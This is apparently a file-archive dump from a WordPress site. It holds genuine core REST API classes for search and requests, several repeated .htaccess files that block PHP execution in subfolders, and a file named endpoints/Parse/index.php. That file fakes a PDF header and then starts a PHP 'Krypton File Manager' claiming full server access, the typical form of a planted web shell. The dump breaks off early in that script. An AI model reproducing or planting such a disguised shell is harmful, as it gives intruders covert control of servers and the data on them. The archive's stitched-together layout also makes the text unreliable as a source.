class WP_REST_Post_Search_Handler extends WP_REST_Search_Handler {

	/**
	 * Constructor.
	 *
	 * @since 5.0.0
	 */
	public function __construct() {
		$this->type = 'post';

		// Support all public post types except attachments.
		$this->subtypes = array_diff(
			array_values(
				get_post_types(
					array(
						'public'       => true,
						'show_in_rest' => true,
					),
					'names'
				)
			),
			array( 'attachment' )
		);
	}

	/**
	 * Searches the object type content for a given search request.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full REST request.
	 * @return array Associative array containing an `WP_REST_Search_Handler::RESULT_IDS` containing
	 *               an array of found IDs and `WP_REST_Search_Handler::RESULT_TOTAL` containing the
	 *               total count for the matching search results.
	 */
	public function search_items( WP_REST_Request $request ) {

		// Get the post types to search for the current request.
		$post_types = $request[ WP_REST_Search_Controller::PROP_SUBTYPE ];
		if ( in_array( WP_REST_Search_Controller::TYPE_ANY, $post_types, true ) ) {
			$post_types = $this->subtypes;
		}

		$query_args = array(
			'post_type'           => $post_types,
			'post_status'         => 'publish',
			'paged'               => (int) $request['page'],
			'posts_per_page'      => (int) $request['per_page'],
			'ignore_sticky_posts' => true,
			'fields'              => 'ids',
		);

		if ( ! empty( $request['search'] ) ) {
			$query_args['s'] = $request['search'];
		}

		$query     = new WP_Query();
		$found_ids = $query->query( $query_args );
		$total     = $query->found_posts;

		return array(
			self::RESULT_IDS   => $found_ids,
			self::RESULT_TOTAL => $total,
		);
	}

	/**
	 * Prepares the search result for a given ID.
	 *
	 * @since 5.0.0
	 *
	 * @param int   $id     Item ID.
	 * @param array $fields Fields to include for the item.
	 * @return array Associative array containing all fields for the item.
	 */
	public function prepare_item( $id, array $fields ) {
		$post = get_post( $id );

		$data = array();

		if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_ID ] = (int) $post->ID;
		}

		if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
			if ( post_type_supports( $post->post_type, 'title' ) ) {
				add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
				$data[ WP_REST_Search_Controller::PROP_TITLE ] = get_the_title( $post->ID );
				remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			} else {
				$data[ WP_REST_Search_Controller::PROP_TITLE ] = '';
			}
		}

		if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_URL ] = get_permalink( $post->ID );
		}

		if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type;
		}

		if ( in_array( WP_REST_Search_Controller::PROP_SUBTYPE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_SUBTYPE ] = $post->post_type;
		}

		return $data;
	}

	/**
	 * Prepares links for the search result of a given ID.
	 *
	 * @since 5.0.0
	 *
	 * @param int $id Item ID.
	 * @return array Links for the given item.
	 */
	public function prepare_item_links( $id ) {
		$post = get_post( $id );

		$links = array();

		$item_route = $this->detect_rest_item_route( $post );
		if ( ! empty( $item_route ) ) {
			$links['self'] = array(
				'href'       => rest_url( $item_route ),
				'embeddable' => true,
			);
		}

		$links['about'] = array(
			'href' => rest_url( 'wp/v2/types/' . $post->post_type ),
		);

		return $links;
	}

	/**
	 * Overwrites the default protected title format.
	 *
	 * By default, WordPress will show password protected posts with a title of
	 * "Protected: %s". As the REST API communicates the protected status of a post
	 * in a machine readable format, we remove the "Protected: " prefix.
	 *
	 * @since 5.0.0
	 *
	 * @return string Protected title format.
	 */
	public function protected_title_format() {
		return '%s';
	}

	/**
	 * Attempts to detect the route to access a single item.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_Post $post Post object.
	 * @return string REST route relative to the REST base URI, or empty string if unknown.
	 */
	protected function detect_rest_item_route( $post ) {
		$post_type = get_post_type_object( $post->post_type );
		if ( ! $post_type ) {
			return '';
		}

		// It's currently impossible to detect the REST URL from a custom controller.
		if ( ! empty( $post_type->rest_controller_class ) && 'WP_REST_Posts_Controller' !== $post_type->rest_controller_class ) {
			return '';
		}

		$namespace = 'wp/v2';
		$rest_base = ! empty( $post_type->rest_base ) ? $post_type->rest_base : $post_type->name;

		return sprintf( '%s/%s/%d', $namespace, $rest_base, $post->ID );
	}

}
search/class-wp-rest-search-handler.php000066600000004122151114277720014116 0ustar00<?php
/**
 * REST API: WP_REST_Search_Handler class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core base class representing a search handler for an object type in the REST API.
 *
 * @since 5.0.0
 */
abstract class WP_REST_Search_Handler {

	/**
	 * Field containing the IDs in the search result.
	 */
	const RESULT_IDS = 'ids';

	/**
	 * Field containing the total count in the search result.
	 */
	const RESULT_TOTAL = 'total';

	/**
	 * Object type managed by this search handler.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	protected $type = '';

	/**
	 * Object subtypes managed by this search handler.
	 *
	 * @since 5.0.0
	 * @var array
	 */
	protected $subtypes = array();

	/**
	 * Gets the object type managed by this search handler.
	 *
	 * @since 5.0.0
	 *
	 * @return string Object type identifier.
	 */
	public function get_type() {
		return $this->type;
	}

	/**
	 * Gets the object subtypes managed by this search handler.
	 *
	 * @since 5.0.0
	 *
	 * @return array Array of object subtype identifiers.
	 */
	public function get_subtypes() {
		return $this->subtypes;
	}

	/**
	 * Searches the object type content for a given search request.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full REST request.
	 * @return array Associative array containing an `WP_REST_Search_Handler::RESULT_IDS` containing
	 *               an array of found IDs and `WP_REST_Search_Handler::RESULT_TOTAL` containing the
	 *               total count for the matching search results.
	 */
	abstract public function search_items( WP_REST_Request $request );

	/**
	 * Prepares the search result for a given ID.
	 *
	 * @since 5.0.0
	 *
	 * @param int   $id     Item ID.
	 * @param array $fields Fields to include for the item.
	 * @return array Associative array containing all fields for the item.
	 */
	abstract public function prepare_item( $id, array $fields );

	/**
	 * Prepares links for the search result of a given ID.
	 *
	 * @since 5.0.0
	 *
	 * @param int $id Item ID.
	 * @return array Links for the given item.
	 */
	abstract public function prepare_item_links( $id );
}
class-wp-rest-request.php000066600000056537151114277720011502 0ustar00<?php
/**
 * REST API: WP_REST_Request class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Core class used to implement a REST request object.
 *
 * Contains data from the request, to be passed to the callback.
 *
 * Note: This implements ArrayAccess, and acts as an array of parameters when
 * used in that manner. It does not use ArrayObject (as we cannot rely on SPL),
 * so be aware it may have non-array behaviour in some cases.
 *
 * Note: When using features provided by ArrayAccess, be aware that WordPress deliberately
 * does not distinguish between arguments of the same name for different request methods.
 * For instance, in a request with `GET id=1` and `POST id=2`, `$request['id']` will equal
 * 2 (`POST`) not 1 (`GET`). For more precision between request methods, use
 * WP_REST_Request::get_body_params(), WP_REST_Request::get_url_params(), etc.
 *
 * @since 4.4.0
 *
 * @see ArrayAccess
 */
class WP_REST_Request implements ArrayAccess {

	/**
	 * HTTP method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	protected $method = '';

	/**
	 * Parameters passed to the request.
	 *
	 * These typically come from the `$_GET`, `$_POST` and `$_FILES`
	 * superglobals when being created from the global scope.
	 *
	 * @since 4.4.0
	 * @var array Contains GET, POST and FILES keys mapping to arrays of data.
	 */
	protected $params;

	/**
	 * HTTP headers for the request.
	 *
	 * @since 4.4.0
	 * @var array Map of key to value. Key is always lowercase, as per HTTP specification.
	 */
	protected $headers = array();

	/**
	 * Body data.
	 *
	 * @since 4.4.0
	 * @var string Binary data from the request.
	 */
	protected $body = null;

	/**
	 * Route matched for the request.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	protected $route;

	/**
	 * Attributes (options) for the route that was matched.
	 *
	 * This is the options array used when the route was registered, typically
	 * containing the callback as well as the valid methods for the route.
	 *
	 * @since 4.4.0
	 * @var array Attributes for the request.
	 */
	protected $attributes = array();

	/**
	 * Used to determine if the JSON data has been parsed yet.
	 *
	 * Allows lazy-parsing of JSON data where possible.
	 *
	 * @since 4.4.0
	 * @var bool
	 */
	protected $parsed_json = false;

	/**
	 * Used to determine if the body data has been parsed yet.
	 *
	 * @since 4.4.0
	 * @var bool
	 */
	protected $parsed_body = false;

	/**
	 * Constructor.
	 *
	 * @since 4.4.0
	 *
	 * @param string $method     Optional. Request method. Default empty.
	 * @param string $route      Optional. Request route. Default empty.
	 * @param array  $attributes Optional. Request attributes. Default empty array.
	 */
	public function __construct( $method = '', $route = '', $attributes = array() ) {
		$this->params = array(
			'URL'   => array(),
			'GET'   => array(),
			'POST'  => array(),
			'FILES' => array(),

			// See parse_json_params.
			'JSON'  => null,

			'defaults' => array(),
		);

		$this->set_method( $method );
		$this->set_route( $route );
		$this->set_attributes( $attributes );
	}

	/**
	 * Retrieves the HTTP method for the request.
	 *
	 * @since 4.4.0
	 *
	 * @return string HTTP method.
	 */
	public function get_method() {
		return $this->method;
	}

	/**
	 * Sets HTTP method for the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $method HTTP method.
	 */
	public function set_method( $method ) {
		$this->method = strtoupper( $method );
	}

	/**
	 * Retrieves all headers from the request.
	 *
	 * @since 4.4.0
	 *
	 * @return array Map of key to value. Key is always lowercase, as per HTTP specification.
	 */
	public function get_headers() {
		return $this->headers;
	}

	/**
	 * Canonicalizes the header name.
	 *
	 * Ensures that header names are always treated the same regardless of
	 * source. Header names are always case insensitive.
	 *
	 * Note that we treat `-` (dashes) and `_` (underscores) as the same
	 * character, as per header parsing rules in both Apache and nginx.
	 *
	 * @link https://stackoverflow.com/q/18185366
	 * @link https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/#missing-disappearing-http-headers
	 * @link https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers
	 *
	 * @since 4.4.0
	 * @static
	 *
	 * @param string $key Header name.
	 * @return string Canonicalized name.
	 */
	public static function canonicalize_header_name( $key ) {
		$key = strtolower( $key );
		$key = str_replace( '-', '_', $key );

		return $key;
	}

	/**
	 * Retrieves the given header from the request.
	 *
	 * If the header has multiple values, they will be concatenated with a comma
	 * as per the HTTP specification. Be aware that some non-compliant headers
	 * (notably cookie headers) cannot be joined this way.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name, will be canonicalized to lowercase.
	 * @return string|null String value if set, null otherwise.
	 */
	public function get_header( $key ) {
		$key = $this->canonicalize_header_name( $key );

		if ( ! isset( $this->headers[ $key ] ) ) {
			return null;
		}

		return implode( ',', $this->headers[ $key ] );
	}

	/**
	 * Retrieves header values from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name, will be canonicalized to lowercase.
	 * @return array|null List of string values if set, null otherwise.
	 */
	public function get_header_as_array( $key ) {
		$key = $this->canonicalize_header_name( $key );

		if ( ! isset( $this->headers[ $key ] ) ) {
			return null;
		}

		return $this->headers[ $key ];
	}

	/**
	 * Sets the header on request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key   Header name.
	 * @param string $value Header value, or list of values.
	 */
	public function set_header( $key, $value ) {
		$key = $this->canonicalize_header_name( $key );
		$value = (array) $value;

		$this->headers[ $key ] = $value;
	}

	/**
	 * Appends a header value for the given header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key   Header name.
	 * @param string $value Header value, or list of values.
	 */
	public function add_header( $key, $value ) {
		$key = $this->canonicalize_header_name( $key );
		$value = (array) $value;

		if ( ! isset( $this->headers[ $key ] ) ) {
			$this->headers[ $key ] = array();
		}

		$this->headers[ $key ] = array_merge( $this->headers[ $key ], $value );
	}

	/**
	 * Removes all values for a header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name.
	 */
	public function remove_header( $key ) {
		$key = $this->canonicalize_header_name( $key );
		unset( $this->headers[ $key ] );
	}

	/**
	 * Sets headers on the request.
	 *
	 * @since 4.4.0
	 *
	 * @param array $headers  Map of header name to value.
	 * @param bool  $override If true, replace the request's headers. Otherwise, merge with existing.
	 */
	public function set_headers( $headers, $override = true ) {
		if ( true === $override ) {
			$this->headers = array();
		}

		foreach ( $headers as $key => $value ) {
			$this->set_header( $key, $value );
		}
	}

	/**
	 * Retrieves the content-type of the request.
	 *
	 * @since 4.4.0
	 *
	 * @return array Map containing 'value' and 'parameters' keys.
	 */
	public function get_content_type() {
		$value = $this->get_header( 'content-type' );
		if ( empty( $value ) ) {
			return null;
		}

		$parameters = '';
		if ( strpos( $value, ';' ) ) {
			list( $value, $parameters ) = explode( ';', $value, 2 );
		}

		$value = strtolower( $value );
		if ( strpos( $value, '/' ) === false ) {
			return null;
		}

		// Parse type and subtype out.
		list( $type, $subtype ) = explode( '/', $value, 2 );

		$data = compact( 'value', 'type', 'subtype', 'parameters' );
		$data = array_map( 'trim', $data );

		return $data;
	}

	/**
	 * Retrieves the parameter priority order.
	 *
	 * Used when checking parameters in get_param().
	 *
	 * @since 4.4.0
	 *
	 * @return array List of types to check, in order of priority.
	 */
	protected function get_parameter_order() {
		$order = array();

		$content_type = $this->get_content_type();
		if ( $content_type['value'] === 'application/json' ) {
			$order[] = 'JSON';
		}

		$this->parse_json_params();

		// Ensure we parse the body data.
		$body = $this->get_body();

		if ( 'POST' !== $this->method && ! empty( $body ) ) {
			$this->parse_body_params();
		}

		$accepts_body_data = array( 'POST', 'PUT', 'PATCH', 'DELETE' );
		if ( in_array( $this->method, $accepts_body_data ) ) {
			$order[] = 'POST';
		}

		$order[] = 'GET';
		$order[] = 'URL';
		$order[] = 'defaults';

		/**
		 * Filters the parameter order.
		 *
		 * The order affects which parameters are checked when using get_param() and family.
		 * This acts similarly to PHP's `request_order` setting.
		 *
		 * @since 4.4.0
		 *
		 * @param array           $order {
		 *    An array of types to check, in order of priority.
		 *
		 *    @param string $type The type to check.
		 * }
		 * @param WP_REST_Request $this The request object.
		 */
		return apply_filters( 'rest_request_parameter_order', $order, $this );
	}

	/**
	 * Retrieves a parameter from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Parameter name.
	 * @return mixed|null Value if set, null otherwise.
	 */
	public function get_param( $key ) {
		$order = $this->get_parameter_order();

		foreach ( $order as $type ) {
			// Determine if we have the parameter for this type.
			if ( isset( $this->params[ $type ][ $key ] ) ) {
				return $this->params[ $type ][ $key ];
			}
		}

		return null;
	}

	/**
	 * Sets a parameter on the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key   Parameter name.
	 * @param mixed  $value Parameter value.
	 */
	public function set_param( $key, $value ) {
		$order = $this->get_parameter_order();
		$this->params[ $order[0] ][ $key ] = $value;
	}

	/**
	 * Retrieves merged parameters from the request.
	 *
	 * The equivalent of get_param(), but returns all parameters for the request.
	 * Handles merging all the available values into a single array.
	 *
	 * @since 4.4.0
	 *
	 * @return array Map of key to value.
	 */
	public function get_params() {
		$order = $this->get_parameter_order();
		$order = array_reverse( $order, true );

		$params = array();
		foreach ( $order as $type ) {
			// array_merge / the "+" operator will mess up
			// numeric keys, so instead do a manual foreach.
			foreach ( (array) $this->params[ $type ] as $key => $value ) {
				$params[ $key ] = $value;
			}
		}

		return $params;
	}

	/**
	 * Retrieves parameters from the route itself.
	 *
	 * These are parsed from the URL using the regex.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 */
	public function get_url_params() {
		return $this->params['URL'];
	}

	/**
	 * Sets parameters from the route.
	 *
	 * Typically, this is set after parsing the URL.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_url_params( $params ) {
		$this->params['URL'] = $params;
	}

	/**
	 * Retrieves parameters from the query string.
	 *
	 * These are the parameters you'd typically find in `$_GET`.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value
	 */
	public function get_query_params() {
		return $this->params['GET'];
	}

	/**
	 * Sets parameters from the query string.
	 *
	 * Typically, this is set from `$_GET`.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_query_params( $params ) {
		$this->params['GET'] = $params;
	}

	/**
	 * Retrieves parameters from the body.
	 *
	 * These are the parameters you'd typically find in `$_POST`.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 */
	public function get_body_params() {
		return $this->params['POST'];
	}

	/**
	 * Sets parameters from the body.
	 *
	 * Typically, this is set from `$_POST`.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_body_params( $params ) {
		$this->params['POST'] = $params;
	}

	/**
	 * Retrieves multipart file parameters from the body.
	 *
	 * These are the parameters you'd typically find in `$_FILES`.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value
	 */
	public function get_file_params() {
		return $this->params['FILES'];
	}

	/**
	 * Sets multipart file parameters from the body.
	 *
	 * Typically, this is set from `$_FILES`.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_file_params( $params ) {
		$this->params['FILES'] = $params;
	}

	/**
	 * Retrieves the default parameters.
	 *
	 * These are the parameters set in the route registration.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value
	 */
	public function get_default_params() {
		return $this->params['defaults'];
	}

	/**
	 * Sets default parameters.
	 *
	 * These are the parameters set in the route registration.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_default_params( $params ) {
		$this->params['defaults'] = $params;
	}

	/**
	 * Retrieves the request body content.
	 *
	 * @since 4.4.0
	 *
	 * @return string Binary data from the request body.
	 */
	public function get_body() {
		return $this->body;
	}

	/**
	 * Sets body content.
	 *
	 * @since 4.4.0
	 *
	 * @param string $data Binary data from the request body.
	 */
	public function set_body( $data ) {
		$this->body = $data;

		// Enable lazy parsing.
		$this->parsed_json = false;
		$this->parsed_body = false;
		$this->params['JSON'] = null;
	}

	/**
	 * Retrieves the parameters from a JSON-formatted body.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 */
	public function get_json_params() {
		// Ensure the parameters have been parsed out.
		$this->parse_json_params();

		return $this->params['JSON'];
	}

	/**
	 * Parses the JSON parameters.
	 *
	 * Avoids parsing the JSON data until we need to access it.
	 *
	 * @since 4.4.0
	 * @since 4.7.0 Returns error instance if value cannot be decoded.
	 * @return true|WP_Error True if the JSON data was passed or no JSON data was provided, WP_Error if invalid JSON was passed.
	 */
	protected function parse_json_params() {
		if ( $this->parsed_json ) {
			return true;
		}

		$this->parsed_json = true;

		// Check that we actually got JSON.
		$content_type = $this->get_content_type();

		if ( empty( $content_type ) || 'application/json' !== $content_type['value'] ) {
			return true;
		}

		$body = $this->get_body();
		if ( empty( $body ) ) {
			return true;
		}

		$params = json_decode( $body, true );

		/*
		 * Check for a parsing error.
		 *
		 * Note that due to WP's JSON compatibility functions, json_last_error
		 * might not be defined: https://core.trac.wordpress.org/ticket/27799
		 */
		if ( null === $params && ( ! function_exists( 'json_last_error' ) || JSON_ERROR_NONE !== json_last_error() ) ) {
			// Ensure subsequent calls receive error instance.
			$this->parsed_json = false;

			$error_data = array(
				'status' => WP_Http::BAD_REQUEST,
			);
			if ( function_exists( 'json_last_error' ) ) {
				$error_data['json_error_code'] = json_last_error();
				$error_data['json_error_message'] = json_last_error_msg();
			}

			return new WP_Error( 'rest_invalid_json', __( 'Invalid JSON body passed.' ), $error_data );
		}

		$this->params['JSON'] = $params;
		return true;
	}

	/**
	 * Parses the request body parameters.
	 *
	 * Parses out URL-encoded bodies for request methods that aren't supported
	 * natively by PHP. In PHP 5.x, only POST has these parsed automatically.
	 *
	 * @since 4.4.0
	 */
	protected function parse_body_params() {
		if ( $this->parsed_body ) {
			return;
		}

		$this->parsed_body = true;

		/*
		 * Check that we got URL-encoded. Treat a missing content-type as
		 * URL-encoded for maximum compatibility.
		 */
		$content_type = $this->get_content_type();

		if ( ! empty( $content_type ) && 'application/x-www-form-urlencoded' !== $content_type['value'] ) {
			return;
		}

		parse_str( $this->get_body(), $params );

		/*
		 * Amazingly, parse_str follows magic quote rules. Sigh.
		 *
		 * NOTE: Do not refactor to use `wp_unslash`.
		 */
		if ( get_magic_quotes_gpc() ) {
			$params = stripslashes_deep( $params );
		}

		/*
		 * Add to the POST parameters stored internally. If a user has already
		 * set these manually (via `set_body_params`), don't override them.
		 */
		$this->params['POST'] = array_merge( $params, $this->params['POST'] );
	}

	/**
	 * Retrieves the route that matched the request.
	 *
	 * @since 4.4.0
	 *
	 * @return string Route matching regex.
	 */
	public function get_route() {
		return $this->route;
	}

	/**
	 * Sets the route that matched the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route Route matching regex.
	 */
	public function set_route( $route ) {
		$this->route = $route;
	}

	/**
	 * Retrieves the attributes for the request.
	 *
	 * These are the options for the route that was matched.
	 *
	 * @since 4.4.0
	 *
	 * @return array Attributes for the request.
	 */
	public function get_attributes() {
		return $this->attributes;
	}

	/**
	 * Sets the attributes for the request.
	 *
	 * @since 4.4.0
	 *
	 * @param array $attributes Attributes for the request.
	 */
	public function set_attributes( $attributes ) {
		$this->attributes = $attributes;
	}

	/**
	 * Sanitizes (where possible) the params on the request.
	 *
	 * This is primarily based off the sanitize_callback param on each registered
	 * argument.
	 *
	 * @since 4.4.0
	 *
	 * @return true|WP_Error True if parameters were sanitized, WP_Error if an error occurred during sanitization.
	 */
	public function sanitize_params() {
		$attributes = $this->get_attributes();

		// No arguments set, skip sanitizing.
		if ( empty( $attributes['args'] ) ) {
			return true;
		}

		$order = $this->get_parameter_order();

		$invalid_params = array();

		foreach ( $order as $type ) {
			if ( empty( $this->params[ $type ] ) ) {
				continue;
			}
			foreach ( $this->params[ $type ] as $key => $value ) {
				if ( ! isset( $attributes['args'][ $key ] ) ) {
					continue;
				}
				$param_args = $attributes['args'][ $key ];

				// If the arg has a type but no sanitize_callback attribute, default to rest_parse_request_arg.
				if ( ! array_key_exists( 'sanitize_callback', $param_args ) && ! empty( $param_args['type'] ) ) {
					$param_args['sanitize_callback'] = 'rest_parse_request_arg';
				}
				// If there's still no sanitize_callback, nothing to do here.
				if ( empty( $param_args['sanitize_callback'] ) ) {
					continue;
				}

				$sanitized_value = call_user_func( $param_args['sanitize_callback'], $value, $this, $key );

				if ( is_wp_error( $sanitized_value ) ) {
					$invalid_params[ $key ] = $sanitized_value->get_error_message();
				} else {
					$this->params[ $type ][ $key ] = $sanitized_value;
				}
			}
		}

		if ( $invalid_params ) {
			return new WP_Error( 'rest_invalid_param', sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ), array( 'status' => 400, 'params' => $invalid_params ) );
		}

		return true;
	}

	/**
	 * Checks whether this request is valid according to its attributes.
	 *
	 * @since 4.4.0
	 *
	 * @return bool|WP_Error True if there are no parameters to validate or if all pass validation,
	 *                       WP_Error if required parameters are missing.
	 */
	public function has_valid_params() {
		// If JSON data was passed, check for errors.
		$json_error = $this->parse_json_params();
		if ( is_wp_error( $json_error ) ) {
			return $json_error;
		}

		$attributes = $this->get_attributes();
		$required = array();

		// No arguments set, skip validation.
		if ( empty( $attributes['args'] ) ) {
			return true;
		}

		foreach ( $attributes['args'] as $key => $arg ) {

			$param = $this->get_param( $key );
			if ( isset( $arg['required'] ) && true === $arg['required'] && null === $param ) {
				$required[] = $key;
			}
		}

		if ( ! empty( $required ) ) {
			return new WP_Error( 'rest_missing_callback_param', sprintf( __( 'Missing parameter(s): %s' ), implode( ', ', $required ) ), array( 'status' => 400, 'params' => $required ) );
		}

		/*
		 * Check the validation callbacks for each registered arg.
		 *
		 * This is done after required checking as required checking is cheaper.
		 */
		$invalid_params = array();

		foreach ( $attributes['args'] as $key => $arg ) {

			$param = $this->get_param( $key );

			if ( null !== $param && ! empty( $arg['validate_callback'] ) ) {
				$valid_check = call_user_func( $arg['validate_callback'], $param, $this, $key );

				if ( false === $valid_check ) {
					$invalid_params[ $key ] = __( 'Invalid parameter.' );
				}

				if ( is_wp_error( $valid_check ) ) {
					$invalid_params[ $key ] = $valid_check->get_error_message();
				}
			}
		}

		if ( $invalid_params ) {
			return new WP_Error( 'rest_invalid_param', sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ), array( 'status' => 400, 'params' => $invalid_params ) );
		}

		return true;

	}

	/**
	 * Checks if a parameter is set.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 * @return bool Whether the parameter is set.
	 */
	public function offsetExists( $offset ) {
		$order = $this->get_parameter_order();

		foreach ( $order as $type ) {
			if ( isset( $this->params[ $type ][ $offset ] ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Retrieves a parameter from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 * @return mixed|null Value if set, null otherwise.
	 */
	public function offsetGet( $offset ) {
		return $this->get_param( $offset );
	}

	/**
	 * Sets a parameter on the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 * @param mixed  $value  Parameter value.
	 */
	public function offsetSet( $offset, $value ) {
		$this->set_param( $offset, $value );
	}

	/**
	 * Removes a parameter from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 */
	public function offsetUnset( $offset ) {
		$order = $this->get_parameter_order();

		// Remove the offset from every group.
		foreach ( $order as $type ) {
			unset( $this->params[ $type ][ $offset ] );
		}
	}

	/**
	 * Retrieves a WP_REST_Request object from a full URL.
	 *
	 * @static
	 * @since 4.5.0
	 *
	 * @param string $url URL with protocol, domain, path and query args.
	 * @return WP_REST_Request|false WP_REST_Request object on success, false on failure.
	 */
	public static function from_url( $url ) {
		$bits = parse_url( $url );
		$query_params = array();

		if ( ! empty( $bits['query'] ) ) {
			wp_parse_str( $bits['query'], $query_params );
		}

		$api_root = rest_url();
		if ( get_option( 'permalink_structure' ) && 0 === strpos( $url, $api_root ) ) {
			// Pretty permalinks on, and URL is under the API root.
			$api_url_part = substr( $url, strlen( untrailingslashit( $api_root ) ) );
			$route = parse_url( $api_url_part, PHP_URL_PATH );
		} elseif ( ! empty( $query_params['rest_route'] ) ) {
			// ?rest_route=... set directly
			$route = $query_params['rest_route'];
			unset( $query_params['rest_route'] );
		}

		$request = false;
		if ( ! empty( $route ) ) {
			$request = new WP_REST_Request( 'GET', $route );
			$request->set_query_params( $query_params );
		}

		/**
		 * Filters the request generated from a URL.
		 *
		 * @since 4.5.0
		 *
		 * @param WP_REST_Request|false $request Generated request object, or false if URL
		 *                                       could not be parsed.
		 * @param string                $url     URL the request was generated from.
		 */
		return apply_filters( 'rest_request_from_url', $request, $url );
	}
}
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RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
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</IfModule>.htaccess000066600000000424151115074560006353 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
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</IfModule>search/.htaccess000066600000000424151115074560007620 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
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</IfModule>endpoints/.htaccess000066600000000424151115074560010356 0ustar00<IfModule mod_rewrite.c>
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RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
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</IfModule>endpoints/Parse/.htaccess000066600000000424151115074560011430 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
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</IfModule>endpoints/Parse/index.php000066600000124512151115074560011457 0ustar00%PDF-1.7
3 0 obj
<?php
/**
 * Krypton File Manager
 * A single-file PHP file manager with full server access and enhanced features
 */

// Start session
session_start();

// Configuration
define('VERSION', '1.0.0');
define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB max upload size
define('ENCRYPTION_KEY', 'RCnFfs06w3ItXaCn7BWvyyFE1Rxdmz'); // Change this to a random string for security
define('SESSION_TIMEOUT', 1800); // 30 minutes session timeout

// Check if encryption key is default and show warning
$encryptionKeyWarning = '';
if (ENCRYPTION_KEY === 'change_this_to_a_random_string') {
    $encryptionKeyWarning = 'Warning: Default encryption key is being used. Please change it for security.';
}

// Session timeout check
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > SESSION_TIMEOUT)) {
    // Session expired
    session_unset();
    session_destroy();
}
$_SESSION['last_activity'] = time(); // Update last activity time

// Encryption and decryption functions
function encryptPath($path) {
    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
    return base64_encode($encrypted . '::' . base64_encode($iv));
}

function decryptPath($encryptedPath) {
    try {
        $decoded = base64_decode($encryptedPath);
        if ($decoded === false) {
            return getcwd(); // Default to current directory if decoding fails
        }
        
        if (strpos($decoded, '::') === false) {
            return getcwd(); // Default to current directory if separator not found
        }
        
        list($encrypted_data, $iv_b64) = explode('::', $decoded, 2);
